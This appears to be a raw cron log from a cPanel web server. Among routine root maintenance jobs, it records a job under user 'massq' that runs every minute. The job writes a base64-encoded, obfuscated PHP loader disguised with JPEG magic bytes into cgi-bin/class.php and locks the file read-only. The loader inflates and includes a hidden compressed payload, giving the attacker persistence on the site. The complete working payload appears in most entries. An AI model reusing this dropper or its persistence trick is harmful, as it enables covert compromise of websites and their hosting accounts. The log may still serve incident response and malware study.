Sep  1 23:36:01 server CROND[11755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:36:01 server CROND[11756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:36:01 server CROND[11757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:37:01 server CROND[12133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:37:01 server CROND[12132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:37:01 server CROND[12134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:38:01 server CROND[12510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:38:01 server CROND[12509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:38:01 server CROND[12511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:39:01 server CROND[13025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:39:01 server CROND[13026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:39:01 server CROND[13027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:39:01 server CROND[13028]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 23:40:01 server CROND[13428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:40:01 server CROND[13429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:40:01 server CROND[13430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:40:01 server CROND[13431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:40:01 server CROND[13432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:40:01 server CROND[13435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:40:01 server CROND[13436]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:40:01 server CROND[13433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:41:01 server CROND[14277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:41:01 server CROND[14278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:41:01 server CROND[14279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:42:01 server CROND[14666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:42:01 server CROND[14667]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:42:01 server CROND[14668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:42:01 server CROND[14669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:43:01 server CROND[15061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:43:01 server CROND[15062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:43:01 server CROND[15063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:44:01 server CROND[15531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:44:01 server CROND[15532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:44:01 server CROND[15533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:45:01 server CROND[15920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:45:01 server CROND[15922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:45:01 server CROND[15923]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:45:01 server CROND[15927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:45:01 server CROND[15929]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:45:01 server CROND[15928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:45:01 server CROND[15924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:46:01 server CROND[16761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:46:01 server CROND[16762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:46:01 server CROND[16763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:47:01 server CROND[17142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:47:01 server CROND[17141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:47:01 server CROND[17143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:48:01 server CROND[17523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:48:01 server CROND[17524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
